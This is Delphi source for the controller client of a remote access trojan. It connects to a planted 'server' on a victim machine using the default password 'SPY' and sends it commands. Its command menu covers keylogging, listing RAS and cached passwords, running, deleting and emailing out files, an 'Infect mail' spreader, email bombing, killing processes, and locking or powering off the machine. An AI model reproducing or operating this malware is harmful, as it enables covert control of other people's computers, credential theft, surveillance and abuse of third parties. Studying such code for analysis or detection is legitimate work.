unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, StdCtrls, ScktComp, ExtCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Edit1: TEdit;
    Connect_btn: TButton;
    Send_btn: TButton;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Edit2: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    Edit3: TEdit;
    Button5: TButton;
    TreeView1: TTreeView;
    Edit4: TEdit;
    Label5: TLabel;
    Label6: TLabel;
    procedure Connect_btnClick(Sender: TObject);
    procedure Send_btnClick(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Edit3Change(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure FormCreate(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Memo1Change(Sender: TObject);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure Edit4Change(Sender: TObject);
    procedure TreeView1Editing(Sender: TObject; Node: TTreeNode;
      var AllowEdit: Boolean);
  private
    DEFVALUE: string;

    procedure Elrejt;
    procedure HandleException (Sender: TObject; E: Exception);
    procedure Mutat (const s1, s2: string; mutassd: boolean);      
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{$I ..\consts.pas}

var ClickedOk: boolean;


procedure TForm1.Connect_btnClick(Sender: TObject);
var NewString: string;
begin
  if (clientsocket1.active = true) then Memo1.Lines.Add ('Man! You are already connected!')
  else begin
    newString:= 'SPY';
    ClickedOK := InputQuery('Password for the Server', 'Default is ''SPY'':', NewString);
    if ClickedOk then
    begin
      clientSocket1.address:=Edit2.Text;
      Edit1.Text:= newstring;
      try
        clientsocket1.active:=True;
      except
        on ESocketError do Memo1.Lines.Add ('no server intalled?');
      end;
    end;
  end;
end;

procedure TForm1.Send_btnClick(Sender: TObject);
begin
  if ClientSocket1.Active then
  begin
    if Sender = nil then
    begin
      if Edit1.Text = '' then
        clientsocket1.Socket.SendText(NOPASSW)
      else
        clientsocket1.Socket.SendText(Edit1.Text);      
    end
    else
      clientsocket1.Socket.SendText(edit1.text);
  end else
  Memo1.Lines.Add('Hey man! Connect first!');
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Memo1.Lines.Add(Socket.ReceiveText);
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Memo1.Lines.Add('Connecting...');
end;

procedure TForm1.Edit3Change(Sender: TObject);
var temp: integer;
begin
  try
    temp:= StrToInt(Edit3.Text);
  except
    on EConvertError do temp:= StrToInt (DEFAULTPORT);
  end;
  ClientSocket1.Port:= temp;
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  Memo1.Lines.Add ('Not Connected');
end;

procedure TForm1.HandleException (Sender: TObject; E: Exception);
begin
  Memo1.Lines.Add ('Failed to connect');
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
  Edit3.Text:= DEFAULTPORT;
  Form1.Caption:= SERVERVER + ' Client';
  Elrejt;

  Application.OnException:= HandleException;
end;


procedure TForm1.Button5Click(Sender: TObject);
begin
  ClientSocket1.Active:= False;
  Memo1.Lines.Add ('Disconnected from server');
end;

procedure TForm1.Memo1Change(Sender: TObject);
begin
  if Memo1.Lines [Memo1.Lines.Count -1] = 'Disconnected' then
    Button5.OnClick (Sender);
  if Pos (SERVERVER, Memo1.Lines [Memo1.Lines.Count -1]) = 1 then
    Send_btnClick (nil);                         //sending the password
end;

procedure TForm1.Elrejt;
begin
  Label5.Visible:= False;
  Edit4.Visible:= False;

  Label6.Visible:= True;
end;

procedure TForm1.Mutat (const s1, s2: string; mutassd: boolean);
begin
  Label6.Visible:= False;
  Label5.Visible:= True;
  if mutassd then
    Edit4.Visible:= True
  else
    Edit4.Visible:= False;
  DEFVALUE:= s1;
  Edit1.Text:= DEFVALUE;
  Label5.Caption:= s2;
end;

procedure TForm1.TreeView1Change(Sender: TObject; Node: TTreeNode);
begin
//---------------------configuring
  if Node.Text = 'Password' then
    Mutat (STRPASW, 'Change server''s password to: ',True) else
  if Node.Text = 'Port number' then
    Mutat (STRPORT, 'Change server''s port to: (it will disconnect you) ',True) else
  if Node.Text = 'Close' then
    Mutat (STRCLS, 'Close server',False) else
  if Node.Text = 'Remove' then
    Mutat (STRRES, 'Remove server',False) else
  if Node.Text = 'Timer' then
    Mutat (STRTIMER, 'Change server''s timer',True) else
  if Node.Text = 'POP Host' then
    Mutat (STRPOPHST, 'Change POP host',True) else
  if Node.Text = 'POP Username' then
    Mutat (STRPOPUSR, 'Change POP username',True) else
  if Node.Text = 'POP Password' then
    Mutat (STRPOPPWD, 'Change POP password',True) else
  if Node.Text = 'SMTP Host' then
    Mutat (STRSMTPHST, 'Change SMTP host',True) else
  if Node.Text = 'SMTP Username' then
    Mutat (STRSMTPUSR, 'Change SMTP username',True) else
  if Node.Text = 'SMTP Send To' then
    Mutat (STRSMTPS2, 'Who will give the email?',True) else
//---------------------file management
  if Node.Text = 'Execute file' then
    Mutat (STREXEC, 'Execute file: (filename parameter)',True) else
  if Node.Text = 'Delete file' then
    Mutat (STRDEL, 'Delete file:',True) else
  if Node.Text = 'Copy file' then
    Mutat (STRCOPY, 'Copy file: (source destination)',True) else
  if Node.Text = 'Move file' then
    Mutat (STRMOVE, 'Move/Rename file: (source destination)',True) else
  if Node.Text = 'Get file' then
    Mutat (STRGETFILE, 'File to get in email:',True) else
  if Node.Text = 'Make dir' then
    Mutat (STRMD, 'Make directory:',True) else
  if Node.Text = 'Remove dir' then
    Mutat (STRRD, 'Delete directory:',True) else
  if Node.Text = 'List dir' then
    Mutat (STRDIR, 'List files in directory:',True) else
  if Node.Text = 'Infect mail' then
    Mutat (STRINFECT, 'Email to send:',True) else
//---------------------misc.
  if Node.Text = 'Open CD' then
    Mutat (STRCDO, 'Open CD caddy',False) else
  if Node.Text = 'Close CD' then
    Mutat (STRCDC, 'Close CD caddy',False) else
  if Node.Text = 'Monitor on' then
    Mutat (STRMONON, 'Turn monitor on',False) else
  if Node.Text = 'Monitor off' then
    Mutat (STRMONOFF, 'Turn monitor off',False) else
  if Node.Text = 'Close active window' then
    Mutat (STRCAW, 'Close active window',False) else
  if Node.Text = 'Message show' then
    Mutat (STRMSGSHOW, 'Send message',True) else
  if Node.Text = 'Message draw' then
    Mutat (STRMSGDRAW, 'Send message',True) else
  if Node.Text = 'Change wallpaper' then
    Mutat (STRWALLP, 'Change wallpaper to:',True) else
  if Node.Text = 'Play sound' then
    Mutat (STRSOUND, 'Play sound:',True) else
//---------------------Machine
  if Node.Text = 'Suspend' then
    Mutat (STRSUS, 'Suspend machine',False) else
  if Node.Text = 'Reboot' then
    Mutat (STRREBOOT, 'Reboot machine',False) else
  if Node.Text = 'Power off' then
    Mutat (STRPOFF, 'Power off machine',False) else
  if Node.Text = 'Lock up' then
    Mutat (STRLOCK, 'Lock up machine',False) else
  if Node.Text = 'Start keylog' then
    Mutat (STRKLSTA, 'Start keylogging',False) else
  if Node.Text = 'Stop keylog' then
    Mutat (STRKLSTO, 'Stop keylogging',False) else
  if Node.Text = 'Start FTP' then
    Mutat (STRFTPSTA, 'Start FTP server',False) else
  if Node.Text = 'Stop FTP' then
    Mutat (STRFTPSTO, 'Stop FTP server',False) else
  if Node.Text = 'Start Bombing' then
    Mutat (STRBOMBSTA, 'Start email bombing to:',True) else
  if Node.Text = 'Stop Bombing' then
    Mutat (STRBOMBSTO, 'Stop email bombing',False) else
  if Node.Text = 'Sleep' then
    Mutat (STRSLEEP, 'Half minute pause (eg. beetwen two commands)',False) else
//---------------------Information
  if Node.Text = 'RAS passwords' then
    Mutat (STRPWZRAS, 'List RAS passwords',False) else
  if Node.Text = 'Cached passwords' then
    Mutat (STRPWZCACHE, 'List cached passwords',False) else
  if Node.Text = 'Current user' then
    Mutat (STRCUR, 'Current user',False) else
  if Node.Text = 'Windows dir' then
    Mutat (STRWDIR, 'Windows directory',False) else
  if Node.Text = 'List processes' then
    Mutat (STRLPROCESS, 'List processes',False) else
  if Node.Text = 'Kill process' then
    Mutat (STRKPROCESS, 'Kill process, give identifier',True) else

  Elrejt ;
end;

procedure TForm1.Edit4Change(Sender: TObject);
begin
  Edit1.Text:= DEFVALUE + Edit4.Text;
end;

procedure TForm1.TreeView1Editing(Sender: TObject; Node: TTreeNode;
  var AllowEdit: Boolean);
begin
  AllowEdit:= False;
end;

end.
